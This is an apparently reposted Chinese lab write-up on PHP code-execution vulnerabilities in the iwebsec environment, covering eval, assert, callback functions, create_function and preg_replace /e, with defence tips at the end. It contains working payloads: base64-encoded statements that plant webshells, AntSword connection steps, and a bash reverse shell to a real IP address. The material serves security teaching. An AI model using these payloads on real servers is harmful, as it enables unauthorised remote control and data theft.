文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

代码执行漏洞 | iwebsec

2023-09-01 19:37

关注

文章目录

00-代码执行漏洞原理

代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。PHP代码执行漏洞可以把代码注入应用中最终到webserver去执行。这样的漏洞如果没有特殊的过滤,相当于一个web后门的存在。该漏洞主要由

eval()assert()preg_replace()call_user_func()call_user_func_array()array_map()

等函数的参数过滤不严格导致,另外还有PHP的动态函数$a($b)。【摘自《代码审计——企业级Web代码安全架构》】

命令执行漏洞与代码执行漏洞的区别:命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。

环境

该学习过程使用iwebsec环境。

在这里插入图片描述

01-eval函数示例

eval()函数原本的作用就是用来动态执行代码,所以它们的参数直接是PHP代码。主要源码如下,与一句话木马相似,印证了“相当于一个web后门的存在”:

if(isset($_POST[1])){  //post方式接收一个参数@eval($_POST[1]);  //执行传入的参数}else{exit();}?>

命令执行

在这里插入图片描述

执行脚本代码调用操作系统命令。

在这里插入图片描述

在这里插入图片描述

使用echo进行输出。

在这里插入图片描述

在这里插入图片描述
这个原理后面会用到:利用post传参,不能出现<>+=/等符号。

写入webshell

参考了这篇文章,php中代码执行&&命令执行函数

在这里插入图片描述

fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

用burpsuite的解码一下主要部分

在这里插入图片描述

解码

fputs(fopen(shell.php,w),\n";echo "Local file: \n";echo "\n";echo "\n
\n\n
";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.

\n";}else {echo "Unable to upload " . $file . ".

\n";}}?>)

  1. 写入上传马文件

在这里插入图片描述

  1. 写入成功

在这里插入图片描述

  1. 访问上传马

在这里插入图片描述

  1. 写入一句话木马

在这里插入图片描述

  1. 蚁剑连接

在这里插入图片描述

  1. 新写入的木马文件

在这里插入图片描述

我要自己构造一个写入木马的方法。

在这里插入图片描述

木马文件内容

在这里插入图片描述

木马文件名称

在这里插入图片描述

构造出来的语句

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入点写入

在这里插入图片描述

蚁剑连接

在这里插入图片描述

成功了,很好

在这里插入图片描述

bash反弹shell

 system("bash -i >& /dev/tcp/8.134.148.36/2233 0>&1");  ?>

在这里插入图片描述

在这里插入图片描述

构造出语句

fputs(fopen(base64_decode(MzMucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdjM2x6ZEdWdEtDSmlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMemd1TVRNMExqRTBPQzR6Tmk4eU1qTXpJREErSmpFaUtUc2dJRDgr)));

监听端口

在这里插入图片描述

在这里插入图片描述

02-assert函数示例

assert()功能:判断一个表达式是否成立,返回true or false,重点是该函数会执行此表达式。与eval类似,字符串被 assert() 当做 PHP 代码来执行。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

webshell

利用上面的shell,木马文件名为22.php,密码为1

fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));

注入

在这里插入图片描述

蚁剑连接

在这里插入图片描述

源代码

if(isset($_POST[1])){@assert($_POST[1]);}else{exit();}?>

03-call_user_func函数示例

在这里插入图片描述

什么是回调函数?

回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

源代码

if(isset($_POST['fun'])||isset($_POST['arg'])){//第一个参数是我们想要调用的函数名,第二个参数是调用函数的参数call_user_func($_POST['fun'], $_POST['arg']);  }else{exit();}?>

04-call_user_func_array函数示例

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

if(isset($_POST['fun'])||isset($_POST['arg'])){call_user_func_array($_POST['fun'], $_POST['arg']);}else{exit();}?>

总结

call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架中动态调用函数,所以一般比较小的程序较少出现这种方式的代码执行。

05-create_function函数示例

在这里插入图片描述

在这里插入图片描述

if(isset($_GET['id'])){$id = $_GET['id']; //通过get方式传参$code = 'echo '.$func.'test'.$id.';';  //$code是构建的函数里面的代码create_function('$func',$code);  //$func是构建的函数的参数}else{exit();}?>------------------------可以理解为------------------------<?phpif(isset($_GET['id'])){$id = $_GET['id']; 函数名('$func'){//$codeecho $func.'test'.$id;}}else{exit();}?>------------------------输入 id=1;}phpinfo();/* ------------------------<?phpif(isset($_GET['id'])){$id = '1;}phpinfo();/*'; //假设$func='111111',只是方便理解函数名('$func'){echo "111111"."test"."1;}phpinfo();/*";}}else{exit();}?>------------------------整理一下------------------------<?phpif(isset($_GET['id'])){$id = '1;}phpinfo();/*'; 函数名('$func'){//echo之后的结果 111111test1;}phpinfo();/*111111test1;}phpinfo();  //该函数内部有eval(),可以执行字符串.这可能需要深入理解一下create_function才行/*;   //这是多行注释符,意味着下面的代码会被注释掉}}else{exit();}?>

在这里插入图片描述

在这里插入图片描述

这个有点难理解,可以一步一步整理一下。

在这里插入图片描述

06-array_map函数示例

在这里插入图片描述

array_map() 函数将用户自定义函数作用到数组中的每个值上(漏洞原理:为数组的每个元素应用回调函数),并返回用户自定义函数作用后的带有新的值的数组。

在这里插入图片描述

if(isset($_GET['func'])||isset($_GET['argv'])){$func=$_GET['func'];   //自定义的函数名$argv=$_GET['argv'];    //可控制的参数$array[0]=$argv;array_map($func,$array);  //调用func的函数,传入array参数}else{exit();}?>

在这里插入图片描述

在这里插入图片描述

总结

array_map()函数的作用是调用函数,并且除第一个参数外其他参数为数组,通常会写死第一个参数,即写死调用函数。

call_user_func()、call_user_func_array()、array_map()等函数有调用其他函数的功能,其中一个参数作为要调用的函数名,如果这个传入的参数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。【摘自《代码审计——企业级Web代码安全架构》】

08-preg_replace漏洞函数示例

漏洞触发原理:第一个参数存在e标识符的话,第二个参数的值会被当做PHP代码来执行

在这里插入图片描述

源码

if(isset($_GET["name"])){   $subject= 'hello hack';   $pattern = '/hack/e';  //漏洞点   $replacement = $_GET["name"];   echo preg_replace($pattern, $replacement, $subject);   //$subject能匹配$pattern,所以$replacement一定会被当做PHP代码执行}else{exit();}?>

利用

在这里插入图片描述

在这里插入图片描述

07-preg_replace无漏洞函数示例

if(isset($_GET["name"])){   $subject= 'hello hack';   $pattern = '/hack/';   $replacement = $_GET["name"];   echo preg_replace($pattern, $replacement, $subject);}else{exit();}?>

总结

preg_replace()函数的代码执行需要存在/e,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。【摘自《代码审计——企业级Web代码安全架构》】

09-可变函数漏洞示例01

什么是可变函数?

PHP支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。

为什么要使用可变函数?

这种写法跟使用call_user_func的初衷一样,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

源码

if(isset($_REQUEST['func'])){function func1() {echo "func1函数";}function func2($arg = '') {echo "func2函数";}$func = $_REQUEST['func'];  //它没有对输入的参数进行限定,意味着我们可以控制参数,写入非func1和func2的函数名echo $func();}else{exit();}?>

利用

在这里插入图片描述

在这里插入图片描述

10-可变函数漏洞示例02

if(isset($_REQUEST['func'])){function func1() {echo "func1函数";}function func2($arg = '') {echo "func2函数";}function func3($arg){echo "func3函数的参数是".$arg;}$func = $_REQUEST['func'];  //可控参数$arg = $_REQUEST['arg'];  //可控参数echo $func($arg);}else{exit();}?>

利用

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

疑问

这是10-可变函数漏洞示例02

在这里插入图片描述

这是05-create_function函数示例

在这里插入图片描述

首先我们来测试一下下面的代码

echo "phpinfo()";echo "\n-------------------------";echo eval("phpinfo();");?>

结果如下,第一个echo只能输出字符串phpinfo(),而不能执行。第三个才能echophpinfo()执行的结果。

在这里插入图片描述

因为create_function()在内部执行了eval(),就像上面代码的第三个echo一样。

在这里插入图片描述

11-漏洞防御

  1. 对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)。
  2. 字符串使用单引号包括起可控代码,插入前使用addslashes转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string)。
  3. 放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
  4. 若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(第二个参数使用单引号包裹)。

希望来到最后的看官们能点个赞~ 非常感谢~
在这里插入图片描述

来源地址:https://blog.csdn.net/weixin_52116519/article/details/129228784

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯